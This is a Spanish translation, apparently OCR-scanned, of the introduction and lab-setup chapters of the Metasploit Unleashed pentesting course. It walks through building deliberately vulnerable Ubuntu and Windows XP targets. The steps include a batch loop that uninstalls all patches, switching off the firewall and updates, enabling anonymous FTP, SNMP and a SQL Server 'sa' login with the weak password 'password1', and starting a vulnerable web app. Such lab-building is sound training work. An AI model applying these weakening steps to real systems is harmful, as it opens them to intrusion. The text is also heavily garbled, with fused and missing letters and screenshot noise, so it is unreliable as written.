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El siguiente curso es gratuito y puede verlo desde este enlace en ingles, http://www.offensive-

security.com/metasploit-unleashed/. No se ha modificado el contenido del curso, la traduccién sigue manteniendo el

contenido del mismo. Este curso es propiedad de Offensive Security 2009, simplemente nos limitamos a su
traduccidn al Espafiol.
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Mastering the FrameWo

METASPLOIT UNLEASHED - DOMINANDO EL FRAMEWORK

Este curso gratuito de seguridad informatica dddra ustedes con un esfuerzo de la comunidadppanaover la concienciacion
y recaudar fondos para nifios desfavorecidos estelde Africa. A través del esfuerzo del corazémat®s profesionales de la
seguridad, estamos orgullosos de presentar el omdgleto curso abierto sobre Metasploit Framework.

Esta es la version online gratuita del curso. §ugta y le resulte util, le pedimos que hagandamacion a los HFC (hackers por
la Caridad), 4,00 délares alimenta a un nifio dertosdo un mes, por lo que cualquier contribuciéhiesvenida y realmente
agradecida. Esperamos que disfrute de este cureodamo nosotros disfrutamos haciéndolo.

La version "completa” de este curso incluye una gui PDF (que tiene el mismo material que los \d@de&i) y una serie de
flash que guiara a pesar de los modulos.

Debido a los cambios recientes en Metasploit Fraorievel proceso de desarrollo esta en curso, estanfmespera de la MSF
para estabilizar y tener su conjunto completo daataristicas que deben aplicarse. Vamos a anugldemzamiento de los
videos FFDU una vez que estén listos, estad atentos
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1 « Introduccién

Introduccion

“If I had six hours to chop down a tree, I'd spethe first four of them sharpening my axe”.
-Abraham Lincoln

“Si yo tuviera 6 horas para cortar un arbol, meagadas primeras cuatro afilando mi hacha”.
-Abraham Lincoln

7 @ root@bt4d: /pentest/exploits/frameworE3~5}

Session Edit View Bookmarks Settings

Interacting with channel 1...

Microsoft Windows XP [Version 5.1.2600]
(C} Copyright 1985-2081 Microsoft Corp.

C:HWINDDWEHEFEtEmjlbI

=] = Shell

Este refran me ha seguido durante muchos afios,rgeuerda constantemente que al abordar un protdemal conjunto
adecuado de herramientas es indispensable paraetanéto. ¢ Que significa esta entrada semi-fiicaécon Metasploit
Framework? Antes de realizar una prueba de peidtraaina auditoria, hay que prestar atencion élat'éas herramientas" y
actualizar todo lo actualizable en Backtrack. Esttuye pequefia reaccién en cadena, que siempriezargn el promt de
Metasploit framework con "svn update".

Yo considero el MSF a ser una de las herramiergaaiditoria mas utiles disponibles gratuitamenta paprofesional de
seguridad hoy en dia. Contiene una amplia gamamleiede calidad comercial y un extensivo entodecdesarrollo de exploit,
pasando por las herramientas de recoleccién damafién y plugins de vulnerabilidad web. El Meta#gFramework provee un
entorno de trabajo verdaderamente impresionantd3H es mucho mas que una coleccion de exploitsp&énfraestructura
donde puedes aprovechar y utilizarlo para tus idmess especificas. Esto le permite concentrarses &mico entorno, y no
tener que reinventar la rueda.

Este curso se ha escrito de manera que se compkasigecto del framework no solo para el "usuasinib a dar una
introduccion a las capacidades que ofrece Metasplaestro objetivo es darle una mirada profuntesaliferentes
caracteristicas de MSF, y proporcionarle la hasdigi confianza para utilizar esta herramienta asosaben su maxima
capacidad.



Tenga en cuenta que MSF esta en constante evolusidspecho que al tiempo que este curso salitua,ldabrd muchos
cambios y adiciones al proyecto. Nosotros intentaemantener este curso al dia con todas las nye@mscionantes
caracteristicas de Metasploit que se le irdn afiddie

Un grado de conocimiento se esperay se exigeestagiantes antes de que el contenido proporoiosea de utilidad. Si usted
encuentra que no esta familiarizado con ciertoeddp nosotros recomendamos dedicar un tiempovestigar antes de intentar
el modulo. No hay nada mas satisfactorio que res@lvproblema uno mismo, por lo que le recomendagngarecidamente
Esforzarse Mas.

2 « Materiales requeridos para el curso

Materiales requeridos para el curso

No deberia ser ninguna sorpresa que la mayoriasdexploits disponibles en Metasploit Frameworlm®stirigidos hacia
Microsoft Windows, asi que para completar el latmia de este curso usted requerira un sistemdiobjeara los ataques. Este
sistema deberia consistir en una Maquina Virtuaueleccion en el computador anfitrion.

Si usted no tiene un Windows XP extra y/o una ktexel VMware Workstation, NIST tiene una maquiiréual con WinXP
pre-instalada disponible para ser descargada Bajie'tal Desktop Core Configuration project” end&d. de referencias en las
secciones siguientes. Su FAQ es un buen recursdaailiarizarse con el FDCC.

Desafortunadamente, la maquina virtual proporcianaat NIST esta en formato de Microsoft VirtualA@emas, los VM,s
producidos por NIST estan diseflados y configurpdoa mantener a las personas que usan Metasmaierrork de
comprometerlos. Los pasos en las siguientes sexiorguiaran por el proceso de convertir la imatgeNirtualPC en formato
VMware, quitar los parches y directivas de grupdadenagen. Y a continuacién podra cargar y ejedatanaquina virtual
usando el Vmware Player gratuito para complet&@balratorio del curso.

Aunque VMware Converter y VMware Player son "gratisndra que registrarse para realizar la desc&igeembargo, la
virtualizacion de aplicaciones y programas valpedaa el registro si no es ya un miembro actuakdJstmbién puede usar
VMware Workstation o alguna otra aplicacién de ¥atizacion de Infraestructura.

Este curso fue creado usando la ultima versiérvdérank del Metasploit Framework, en el momenteseribir este articulo la
version es 3.3-dev. Si esta usando back|track 4 canplataforma, puede siempre actualizar a lmaltiersién del trunk usando
'svn up' en el directorio '/pentest/exploits/fraroek@/'.

Por ultimo, si la intencion es hacer cualquier dedla de exploit, La VM de NIST, tiene una imagegular de una estacion de
trabajo, pero sin un depurador instalado. Puedal&m<OllyDbg o Immunity Debugger (o los dos) enidw.

2.1 Requisitos de Hardware

Contenido

* 1 Requisitos de Hardware
o 1.1 Algunos requisitos de hardware que se deben considerar
son:
1.2 Espacio en el Disco Duro
1.3 Memoria suficiente
1.4 Procesador suficiente
1.5 Accesibilidad a Internet

O O O O

Requisitos de Hardware




Antes de entrar en el maravilloso mundo de Metésptamework tenemos que garantizar nuestro haela@ampla o supere
algunos requerimientos antes de proceder. Estaaegadeliminar muchos problemas antes de que sumgaradelante.

Todos los valores mencionados son estimados o erwados. Puede usar menos pero se sentira el fenttim

Algunos requisitos de hardware que se deben considerar son:

e Espacio en el Disco Duro
e Memoria suficiente

e Procesador suficiente

» Acceso Inter/Intra-net

Espacio en el Disco Duro

Este sera lo mas exigente de superar. Sea creatigga a tener limitaciones en el espacio. Estegso puede consumir casi 20
gigabytes de espacio en el disco, asi que estadavigsto significa que no puede usar una partle®32 ya que no admite
archivos grandes. Elija NTFS, ext3 o algun otrerfaio. El espacio recomendado necesario es de dByt&s.

730000000 696MB //z01 file size on disk

1 730000000 696MB //z02 file size on disk
' 730000000 696MB //z03 file size on disk
' 730000000 696MB //z04 file size on disk
730000000 696MB //z05 file size on disk
1 272792685 260MB //zip file size on disk
total --------
3740MB //Total space before decompres sion and extraction

———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————

total --------
28896MB
| 8589934592 8192MB //Optional Backtrack "GUEST"H DD Requirements !
L total --------
L BT08BMB
1 123290094 112MB /NMware-converter-4.0.1-161434  targz
1 377487360 360MB //VMware Converter installed o n disk
1 101075736 97MB //VMware-Player-2.5.3-185404.i 386.bundle
1 157286400 150MB //VMware Player Installed on d isk
total --------
37807MB //See how fast it gets consume d!

Si decidi6 producir clones o snapshots a medideaganza en este curso, estas también ocuparanentaacantidad de espacio.
Este alerta y asegure el espacio necesario.



Memoria suficiente

Sin suficiente memoria para su sistema operativ&ARION e INVITADO a la larga eventualmente sueaint fallara. Va a
requerir RAM para el OS de su host asi como ladathtequivalente de RAM que le este dedicando a natjuina virtual. Use
la guia siguiente para ayudarlo a decidir la cadtide RAM necesaria para su situacion.

Linux "HOST" Minimal Memory Requirement's

i 1GB of system memory (RAM)
' Realistically 2GB or more

1 At least 256 megabytes (MB) of RAM (1GB is recommen ded) // more never hurts!
' Realistically 1GB or more with a SWAP file o f equal value

' AT least 512 megabytes (MB) of RAM (1GB is recommen ded) // more never hurts!
.___Realistically 1GB or more with a SWAP fileofe qualvalue |
Procesador suficiente

La Velocidad del Procesador no es siempre un pmblson el hardware de fecha, aunque el hardwaj@epirde ser utilizado
de otra manera para servir a un mejor propositeedlisito minimo para VMware Player es de 400Mhm @rocesador mas
rapido (500Mhz recomendado). Mas procesamientosyouesto, es mejor.

Accesibilidad a Internet

Esto se puede solucionar con cable cat5 desdeterfewitch/hub. Si no hay servidor dhcp en tu teddra que asignar las
direcciones IP estaticas para tus maquinas vigublea conexion de red inalambrica puede funcitarabien como un cable
Ethernet, sin embargo, la disminucion de senaladrstancia, a través de objetos, y estructunaitdia severamente tu
conectividad.

2.2 Ubuntu 7.04

Ubuntu 7.04

A fin de ofrecer variedad para el curso y proparaioun objetivo diferente a Microsoft Windows, seaza una maquina virtual
vulnerable con Ubuntu 7.04 Feisty Fawn.

Para empezar, descargamos la maquina virtual x&8Bdetu 7.04 Server ofrecido por Canonical.

| root@bt4:~# wget http://isv-image.ubuntu.com/vmware /Ubuntu-7.04-server-i386.zip !
| --2009-09-13 08:01:08-- http://isv-image.ubuntu.com /vmware/Ubuntu-7.04-server-i386.zip
i Resolving isv-image.ubuntu.com... 91.189.88.35
1 Connecting to isv-image.ubuntu.com|91.189.88.35|:80 ... connected.
i HTTP request sent, awaiting response... 200 OK
.ship

Aungue Canonical es muy buena manteniendo versamtégias de Ubuntu disponibles, ellos no mantiédogmnepositorios en
linea para cada distro por siempre. A fin de permrthivos e impresoras tendremos que descargamalgen iso de Ubuntu 7.04
Server y instalar los paquetes de ahi.

| root@bt4:~# wget http://old-releases.ubuntu.com/rel eases/feisty/ubuntu-7.04-server-
1 i386.is0
| --2009-09-13 08:46:04-- http://old-releases.ubuntu. com/releases/feisty/ubuntu-7.04-

| server-i386.iso



i Resolving old-releases.ubuntu.com... 91.189.88.35

i Connecting to old-releases.ubuntu.com|91.189.88.35] :80... connected.
i HTTP request sent, awaiting response... 200 OK
i ...Snip

___________________________________________________________________________________________________________________________________________

' root@bt4:~# unzip Ubuntu-7.04-server-i386.zip

i Archive: Ubuntu-7.04-server-i386.zip

i inflating: Ubuntu-7.04-server-i386/Ubuntu-7.04- server-i386.vmdk
inflating: Ubuntu-7.04-server-i386/Ubuntu-7.04- server-i386.vmx

Abre la VM en VMware Player, enciendela, y espega@ arranque. Parecera que esta colgado en “ifRulocal boot
(/etc/rc.local)' pero no es asi. Solo precioneeEpiara acceder al command prompt. El usuarionyrasefa para esta VM es
ubuntu en ambos. Por defecto, la VM no tendratixfimz ethernet habilitada por lo que necesitacaheso primero. Cambie la
direccién IP y subred como en el ejemplo de abaja gue coincida como la red destino.

———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————

! Password:

' ubuntu@ubuntu:~$ sudo ifconfig eth1 192.168.1.166 n etmask 255.255.255.0

! ubuntu@ubuntu:~$ ifconfig eth1

i ethl  Link encap:Ethernet HWaddr 00:0C:29:C2:E 7:E6

: inet addr:192.168.1.166 Bcast:192.168.1. 255 Mask:255.255.255.0
.Snip

A continuacion, tenemos que instalar Samba en la VM para permitir compartir archivos e impresoras. Con el fin de instalarlo,
necesitaremos primero insertar el iso de Ubuntu 7.04 Server a la VM. En el menld de VMware Player, seleccione Devices ->
CD/DVD (IDE) -> Connect to Disk Image File (iso). Primero tendrd que desconectar la unidad ya la tiene conectada. Con la iso
insertada a la maquina virtual, instalaremos Samba. Se le pedira que confirme la instalacion. Solo precione Y para continuar.

i ubuntu@ubuntu:~$ sudo apt-get install samba
i Password:
I ...snip...

* Starting Samba daemons...

: ubuntu@ubuntu:~$ netstat -antp | grep 445
' tep 0 0 0.0.0.0:445 0.0.0.0:* LISTEN

___________________________________________________________________________________________________________________________________________

2.3 Windows XP SP2

Windows XP SP2

En esta seccion bajaremos el objetivo de VM y usaWime para ejecutar aplicaciones de Windows conmRAR. Esta
aplicacion extraera el VM de un archivo zip divitle.recomendamos verificar la integridad de lo$ians para asegurarse de
gue no tendra problemas. EL proceso es muy simgleder, back|track 4 tiene las aplicaciones neesgzara hacer esto.

2.3.1Archivos Requeridos

Editando Archivos Requeridos

1. Primero deberemos descargar los 6 archivosaputéeoen nuestra maquina virtual objetivo. Unags se haya descargado
todos los archivos, verificamos que coincidan Id39vton los que se muestran a bajo. Esto puede tamde&empo considerable
para que se termine de descargar completamenté\ortenga esto en cuenta



i wget http://downloadfdcc.nist.gov/vm/FDCC_XP_Q4_200 81107/FDCC-Q4-2008-XP-VHD.z01

i wget http://downloadfdcc.nist.gov/vm/FDCC_XP_Q4_200 81107/FDCC-Q4-2008-XP-VHD.z02
i wget http://downloadfdcc.nist.gov/vm/FDCC_XP_Q4_200 81107/FDCC-Q4-2008-XP-VHD.z03
1 wget http://downloadfdcc.nist.gov/vm/FDCC_XP_Q4_200 81107/FDCC-Q4-2008-XP-VHD.z04
1 wget http://downloadfdcc.nist.gov/ivm/FDCC_XP_Q4_200 81107/FDCC-Q4-2008-XP-VHD.z05
i wget http://downloadfdcc.nist.gov/ivm/FDCC_XP_Q4_200 81107/FDCC-Q4-2008-XP-VHD.zip

2 . Luego de descargar los multiples archivos zip, comprabamos su hash MD5. Este proceso puede tardar un tiempo
dependiendo de su hardware.

1 root@bt4:~# md5sum FDCC-Q4-2008-XP-VHD.z*

1 64f06d2c0c5873736461b5bbe9894652 FDCC-Q4-2008-XP-VH D.z01
1 fb9dcfc5721abed6d073335ac4477123 FDCC-Q4-2008-XP-VH D.z02
i edldcbel12b169675b6e670b47ab5344 FDCC-Q4-2008-XP-VH D.z03
i 2eb3ea2867b8eede5b644be365b79725 FDCC-Q4-2008-XP-VH D.z04

| 7€2094ee15f41b149fcbb916¢3f576b7 FDCC-Q4-2008-XP-VH D.z05
| 2f4947495660f2f1e1263eed07410798 FDCC-Q4-2008-XP-VH D.zip
L root@bt4:~#

___________________________________________________________________________________________________________________________________________

All Applications
Backtrack
Internet

C A

Services
Wiline Programs. * @ Accessories :
Graphics | Browse C:\ Drive WIinRAR -
Multimedia Configure Wine ] I
System ! Uninstall Wine Software
Utilities

KSnapshot

aActions

2 B 4

A,
o

A

1 WinRAR help

b

Settings

Systern Menu
Run Command...
= Lock Session

Wy Log Out...

D . @ = i ﬁ - ) Wicd Manager

7. En WIinRAR, haga click en "File", "Open archiweSeleccione el archivo FDCC-Q4-XP-VHD.zip. Una ge el archivo se
haya abierto, click en "Extract To" y seleccioneiltécacién para los archivos.



2.3.2 Configurando VMware

Configurando VMware

Instalar VMware Player y Converter

———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————

1. Cambie el directorio que contiene el VMware Converter y desempaquete el archivo. Puede acetar los valores por defectos
durante la instalacion de VMware Converter:

1 root@bt4:~# cd vmware-converter-distrib/
1 root@bt4:~# ./vmware-install.pl
| root@bt4:~# /usr/bin/vmware-converter-client

3. Ya cuando el VMware Converter ha empezado, celee "Convert Machine" desde ka barra de herrasen

4. En el menu desplegable junto a "Select soupe' fyseleccione "Backup image or third-party virtuachine". Con suerte para
nosotros, VMware Converter soporte la mayoria deéngigenes y formatos.

5. Click en "Browse", y seleccione el archivo ".Vnde la imagen extraida del NIST, a continuaciogahalick en "Next"

6. En el menu desplegable junto a "Select destindgipe”, seleccione "VMware Workstation OR othd&iware virtual
machine". En el otro menu desplegable que aparéedr@o de la primera. Seleccione "VMware Playgn@.

7. Introduzca un nombre en "Virtual machine deta#sleccione una ubicacion para salvar la maquinhaal y luego click en
"Next".

8. En la version para Windows de VMware Convenag vez que el convertidor a terminado de analizaraquina virtual, se le
presentara una ventada donde puede cambiar vagames de VM. Seleccione "Advanced options" lusgjeccione "Install
VMware Tools on the imported virtual machine". Rlen "Next" y luego "Finish".

9. Cambiese al directorio de descarga, coloqueipesnde ejecucion a VMware Player, e inicie eldltor de VMware Player y
siga el asistente a través de la instalacion:

' root@bt4:~# chmod 755 VMware-Player-2.5.2-156735.i3 86.bundle
' root@bt4:~# ./VMware-Player-2.5.2-156735.i386.bundl e

10. Inicie VMware Player y arranque la maquinauattcon XP.

11. Desinstale "Virtual Machine Additions" usandidd Remove Programs" e instale VMware tools.

2.3.3 Post-Instalacion XP SP2

Post-Instalacion XP SP2

Removiendo las directivas de grupo (GPO)

1. Inicie sesién en XP. El usuario para esta imagetiRenamed_Admin" y la contrasena es P@sswOr&5234

2. Descargue el "Microsoft Fixit" del siguiente &e http://www.offensive-security.com/downloads/Micrdsaxit50198.msj.
Ejecute FixIt para restablecer la configuraciérzdRO. Reinicie cuando haya terminado.




3. Abra el command prompt y use el siguiente cormand

=Gt et Tl Sy i T i e S T St Siut i Sttt e St W T ettt '
'
'

C:\>secedit /configure /db reset /cfg "c:\windows\s ecurity\templates\compatws.inf" /overwrite
C:\>del c:\windows\system32\grouppolicy\machine\reg istry.pol

'
'
L

4. Reinicie la maquina virtual para que cambiosahagfecto.

Desistanlando los parches.

1. Vaya al Panel de Control y seleccione "SwitcRlassic View" del lado izquierdo.

2. Abra el "Windows Firewall" y apagelo "Off".

3. Abra "Automatic Updates" y seleccione "Turn Afftomatic Updates" para que Windows no deshagedowios que hicimos.

4. Abra "Security Center", seleccione "Change thg ®ecurity Center alerts me" del lado izquierdtegmarque todas las
casillas. Esto deshabilitara los molestos pop-upatificaciones en el system tray.

5. Regrese al Panel de Control, abra "Add or Rerfosagrams". Seleccione la casilla "Show updateda @arte superior. Esto
mostrara todos el programas y actualizacionesgi@is@ad que se han instalado.

6. Desde la linea de comandos ejecute el sigugamtando para desinstalar todos los parches y ieinic

C:\>dir /a /b c:\windows\$ntuninstallkb* > kbs.txt && for /f %i in (kbs.txt) do cd c:\windows\%i\spuni nst &&
spuninst.exe /passive /norestart && ping -n 15 loca Ihost > nul

7. Reinicie la maquina virtual para completar el proceso de desinstalacion.

2.3.4 Servicios Adicionales

Servicios Adicionales

Para proporcionar una mayor superficie de ataqreelpa varios componentes de Metasploit, nosotabditaremos e
instalaremos algunos servicios adicionales dergrowstra maquina virtual con Windows.

Internet Information Services (11S) and Simple NetkvManagement Protocol (SNMP)

Para empezar, vaya al Panel de Control y abra ®kd®emove Programs". Seleccione "Add/Remove WindGasponents” del
lado izquierdo

Windowws Components Wizard

W irndowrs Components
rrou can add or removwse components of walindoves =P

T o add or remowse a component. click the checkbho=., & shaded bo= means that aonle
part of the compornent will be installed. To =es vahat's included in a component,. click
O =tail=.

Compornents:
= = ard Lltilitie=

@ Fax Services
[ = Indexing Service
@ Internst Explorer

I 1 &8 lnternet Informaticmn S ervices TS0 z S
D=escription: Includes “windoves Scocessories= amnd Lltilities For pour compuatber.

T otal di=k s=pace required: 54 5 kME [ O =tails ]
Space awvailable on disk: 15914 .5 MHME

[ = Baclk ][ [ = ] [ Cancel ]




Seleccione la casilla "Internet Information Sersi¢gS)" y haga click en "Details". Seleccione &sitla "File Transfer Protocol
(FTP) Service" y click en "OK". Por defecto, elgeio de 1S y FTP permite conexiones anénimas

[ (NS _;-:ull ONEni: .\“._I o '..51 v

Windows Components
'ou can add or remove components of Windows XP.

To add ar remove a campanent; click the
part of the component will be inztalled. To BT ne 0 daiio
Dretailz.

Comporients: To add or remove a component, click the check box. & shaded box meansz that only part
af the component will be installed. To see what's included in a component, click Details.

v & Internet Explarer

I e e el Subcomponents of [nternet Information Services [IIS ]
| EE] i anagement and Monitoring Toold ] < Comman Files 1.0ME A
[ 6 Message Queling | &3 Documentation 35ME
1 ¥ MSM Furlrer [FTF) iE: 0.1 ME
FrontPage 2000 5 Ext 4 3 MB

Dezcnption:: Includes 'web and FTP supp L @ o A : e .H 7

tranzactionz, fictive Server P v "]'ﬂ] Internet Infarmation Services Snap-n 1.3 ME
Tatal dizk space required; B4.2 I Wl 5= SMTP Service 1.1 MB
Space available on disk: 15914.7 W B world Wide Web Service 23ME ¥

Diezcription:  Provides zupport to create FTP sites used to upload and download files

Total dizk space required: 54.2 MB
Space available on dizk; 15914.7 ME

[ Ok, ][ Cancel ]

Por ultimo, seleccione la casilla de "ManagemedtMonitoring Tools" y haga click en "Details". Asggse que las dos
opciones estén seleccionadas y haga click en "Ol&ndo este listo, click en "Next" para proceder lednstalacion de IIS y
SNMP.

Windows Components
You can add ar remove components of Windows =P

To add or remove a comporient, click the o Management and Monitoring Tools

part of the component will be installed. To
Detailz. To add or remove a component, click the check bow. & shaded box means that anly part
of the component will be inztalled. To see what's included in a component, click Details.

Components:

[v] 48 Intemet Explorer Subcompanents of Management and Manitoring T ools: -
= % Internet Information Services [[15) | 2 Simple Metwiork Managerment Pr /

5 Management and Monitoring Tools |E"-.| 'W'MI SMHMP Provider 1.1 MB

[[] = Message Quauing
1 =% MSH Fenlorer

Description:  lncludes toaols for monitaring &

Tatal disk space required: 54 2 M
Space available on dizk: 159146 b

Description;  Includes agents that monitar the activity in netwark devices and report to
the network. conzole workstation.

Total dizk space required: 54 2 MB
Space available on dizk: 15914.6 ME

[ (0] 4 ][ Cancel ]




El .NET Framework instalado en la maquina virtigthé un problema pero es facil de solucionar. EPeslel de Control,
seleccione "Add or Remove Programs" nuevamentecaeihe "Microsoft .NET Framework 2.0 Service Patky haga click en

"Changé.

& Add or Remove Programs

Bl
i‘_‘::l-j Currently installed programs and updates: Showpeabes St ame 3 |
Changeor | [ &) — =
Tarras ﬁgﬁ High Definition Audio Driver Package - KE388111 Al

Programs nﬁ!- Microsoft NET Framework 2.0 Service Pack 1

Click here For s 't mation, [sed rarely
ﬁ ; Ta change this pragram or remove it From your computer, click Change ar Remove,

Add Mew

Reerm
Prodeant: | 8 MET Framework Prexp Installed On 10/13/2008
Ej §5 MET Framework CRT Installed On 10/13/2008
sl 5 MET Framework CA Installed On 10/13/2008
windows ﬁ! MET Framework WinForms Installed On 10/13/2003
-OmROREGE i8] MET Framework 2 Installed On 107132008

@( ﬁ' Cr. ‘Wakson Installed On 10/13/2003

5 MET Framework 1 Installed On 10/13/2008
ek Program
ficcess and i3 MET Framework CLR Installed On 10132008
Defaulks
j[:’;! MET Framewark ASP MET Installed On 101372008
ﬁ Microsoft JMET Framework 3.0 Service Pack 1 Size  245.00MB
i3 MET Framework WCS Installed On 107132008
ﬁ{:’;‘ MET Framewark WPF 2 %56 Installed On 1001372008
5 NET Framework WPF 3 Installed On 10/13/2008

Una ventada aparecera y mostrara la barra de proceso y luego se cerrara. Este es un comportamiento normal, ahora puede salir
del Panel de Control y proceder.

Microsoft .NET Framework 2.0 Service Pack 1

1%

SQL Server 2005 Express

Tambien instalaremos la version gratuita de SQMuabeosft, SQL Server 2005 Express. Esto nos peranitsar algunos de los
diferentes modules de SQL en Metasploit. Primeescdrgue la version sin el sirve pack de SQL Sdtxpress desde aqui:
http://www.microsoft.com/downloads/details.aspxfgiti=220549B5-0B07-4448-8848-DCC397514B41&dispy=en

Tenga en cuenta que si esta usando una VM corstpoidusted para este curso, tendra que instaldimelows Installer 3.1 y el
.Net Framework 2.0 para instalar el SQL Expressidafivs Installer 3.1:
http://www.microsoft.com/downloads/details.aspxZfgiti=889482FC-5F56-4A38-B838-DE776FD4138C&dispkayli=en
.NET Framework 2.@ittp://www.microsoft.com/downloads/details.aspx? Haid=0856 EACB-4362-4BOD-8EDD-
AAB15C5E04F5&displaylang=en




Una vez que el instalador ha finalizado la desggrgdemos ejecutarlo y seleccionar todos los valpoe defecto excepto
"Authentication Mode". Seleccione "Mixed Mode", asezca "sa" con clave "passwordl”, y luego costicen el resto de la
instalacion.

.

it Microsoft 301 Seqver 2005 Express Edition Setup

Authentication HMMode

The authentication mode specifies the security used when
connecking ko SOL Server.

Seleck the authentication mode to use For Ehis installation,

1 wwindows authentication Mode

% Mixed Mode Owindows Aauthentication and SOL Server Authenticakion)

Specify the sa logon password belaw:

Enter password:

—onfirm password:

[ Help ] [ = Back ] [ Mexk = ] [ —ancel ]

Ya completada la instalacion, tendremos que haeedesible desde la red. Click "Start" -> "All Praxqgs" -> "Microsoft SQL
Server 2005" -> "Configuration Tools" -> "SQL Serwonfiguration Manager". Cuando se haya inicialdadeninistrador de
configuracion, seleccione "SQL Server 2005 Servijagigk derecho en "SQL Server (SQL EXPRESS)" lesgione "Stop".
Ahora, expanda "SQL Server 2005 Network Configordtly seleccione "Protocols for SQLEXPRESS"

Er SOL Server Configuration Manager

File Action Wieww Help

= = HE

0L Server Configurakion Manager (Local) Protocol Mame I Status
SOL Server Z005 Services % Shared Memory Enahbled
- . S0L Server 2005 Mebwaork Configuration FMamed Pipes Disabled
EMFrotocols For SOLEXFRESS = TCRiTP Dicabled
+ .. SQL Mative Client Configuration S—vIa Disablad

Doble click en "TCP/IP", cambie "Enabled" a "Yeg'tambie "Listen ALL" a "No" en la pestafia "Prottico



File Action “iew Help

& B FE 2

S0L Server Configuration Manager (Lacal)
SOL Setver 2005 Services
- E SOL Server 2005 Mebwork Configur ation
= Protocols for SQLEXPRESS
+ .. SOL Mative Client Configuration

T Tnx
RPIX

TCP/IP Properties

Protocol |IF' Addresses
=
Enabled es
kKeep Alive 30000
E= Mo
Mo Delay Mo
Listen All
Lisken on all IPs
oK l [ Cancel ] [ Apply ] [ Help

Ahora seleccione la pestafia "IP Addresses", y séntodas las entradas en "IPALL". En la "IP1" y2'IPelimine cualquier valor
de "Dynamic Ports". Ambos IP1 y IP2, deberian té¢Aetive" y "Enabled" establecido en "Yes". Porimib, establezca la IP1 en
"IP Adress" con su direccion de red local y ladiién IP2 a 127.0.0.1. La configuracion tiene qeresémilar al screenshot de
abajo. Click "OK" cuando todo este configurado eotamente.

TCP/IP Properties

Protocol | IP Addresses

File  Action  View Help

- & R

SOL Server Configuration Manager (Local) = |
S0l Server 2005 Services Active Yes -
= E S0L Server 2005 Metwork Configuration Enabled Ves
E«‘: Prokocals For SQLEXPRESS IP Address 192.168.1.127
+ .. S0L Mative Client Configuration TCP Dynarnic Porks
TCF Port 1433
=
Ackive Yes
Enabled Yes
IP Address 127.0.0.1
TZP Dynarnic Parks
TZP Park 1433

TP Dynamic Porks
TCP Part

TCP Dynamic Porkts
Elank, if dynamic ports are not enabled. To use dynamic ports, set to 0,

Help

Lo JI

Cancel ] [ Apply ] [




A continuacion, habilitemos el servicio SQL SerBeowser. Seleccione "SQL Server 2005 Services"galunble click en "SQL
Server Browser". En la pestafia "Service", colodu&tart Mode" en "Automatic" y de click en "OK".

o st e (2150 B

File  Ackion  Wiew Help
- = Log on | Service | Advanced
&= E2D! =

SL Server Configuration Manager (Local)
SOL Server 2005 Services
- E SOL Server 2005 Metwork Configurakio
= Protocols for SQLEXPRESS
+ .. S0L Mative Client Configuration

Binary Path

Skart Mode Aukormakic

Binary Path
Path to the executable File For this service.

[ (o] 4 ] [ Cancel ] [ Apply ] [ Help ] >

Por defecto, el servidor SQL se ejecuta bajo ueateucon privilegios limitados lo que no permitecimas aplicaciones web
personalizadas. Cambiaremos esto dando doble"8Qk Server (SQLEXPRESS)" y establecemos el indgsesion como

"Local System account”. Esto lo puede estableeabiten en "services.msc". Click "OK" cuando hayanieada

)X

SOL Server [SOLEXPRESS) Properties [Local Computer)

Log on as:

%) Local System account

[] Allows service ta interact with desktop

3 Thiz account:

“r'ou can enable or dizable this service for the hardware profiles lizted below:

Hardware Profile
Prafile 1

Service
Enabled

Lok I

Cancel J Spply




Con todo finalmente configurado, haga click dereehdSQL Server (SQLEXPRESS)" y seleccione "St&figa lo mismo para
el servicio "SQL Server Browser". Ahora puede sddirel Administrador de Configuracién y verificaregel servicio este a la
escucha correctamente ejecutando "netstat -andédadinea de comandos. Usted vera a la escugheedb 1434 UDP asi
como también su direccién IP escuchando por et@u33.

e+ | Command Prompt

C:sDocumentsz and Settings“Adminisztratorinetstat —ano

Active Connections

v ]
=]

IEEEREEEEEEEERE L1 foofofofofooo

ddress State
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

Proto Local Address g
a
a
a
a
a
a LISTENING
a
a
a
a
a
i

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
upp
upp
upp
upp
upp
upp
upp
upp
upp
upp
upp 192.168.1.127:137

upp 192.168.1.127:138

unp 192.168.1.127:1988

=
=]

LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
-122:63846 ESTABLISHED

]
HEoRoononnm D&

I

NIRRT
BoEE RN RN BN BN BN BN BN BN AN AN AR

FA A AR A XA AR A XA FOOQOQOEROEEERERE

IR NI I I NI I I I - I e e e e e

C:sDocuments and SettingssAdministrator:

2.3.5 Crear una Aplicacién Web Vulnerable

Crear una Aplicacion Web Vulnerable

Para crear nuestra aplicacion web vulnerable, éeqde descargar SQL Server Management Studio Exgessle:
http://www.microsoft.com/downloadS/details.aspxZfgit=C243A5AE-4BD1-4E3D-94B8-5A0F62BF7796&displaylg=en

Instale SQL Server Managment Studio Express, andpttodo los valores por defecto de la instalakiego ejecutelo en "Start"
-> "All Programs" -> "Microsft SQL Server 2005" *SQL Server Management Studio Express".

Cuando se inicie Management Studio, seleccione "SE&\er Authentication" y conectese usando el isiisa" y contrasena
"passwordl".

Haga click derecho en "Databases" en "Object Erplor seleccione "New Database".



E.. Microsoft SQL Server Management S5tudio Express

File Edit Wiew Tools indow  Community Help

B =m g 7 =
= l__d FOCC-wPASOLERPRESS (S0L Server 9.0,1399 - sa|

& |__-.-J WNEW Database. .. | L
# [ Security - :
F [ Servert  Attach...
® [ Replicat  Restore Database. ..
B [ Manage  Restore Files and Filegroups. ..

Refresh

Escriba "WebApp" como nombre de la base de dattiskren "OK". En "Object Explorer”, expanda "Datales"”, luego expanda
la base de datos "WebApp". Click derecho "Tables&lgccione "New Table".

CObject Explorer _/Sm_
B AT e WER-AN 4
= [f§ FOCC-¥PYSGLEXPRESS (SQL Server 9.0.1399 - 53

= [ Databases D Tab|

[ gvstem Databases

= | ) webapp FOCC-F
[ Database Diagrams
R Tables
Lj Views e TablE... Mame

[ Synory Filker 1 [ System Tab
|1 Progra

[ gecuriy  Refresh
[+ [ Sernriby

Cree una nueva tabla llamada "users" con el noddedlumna y tipos como se muestra abajo en ladmag

~Table - dbo.users | Summary Properties

Calumnn Mame Data Type Al Mulls [Tbl] dbo.users o

3 éuserid  smallint

USErnarne warchar{s0)

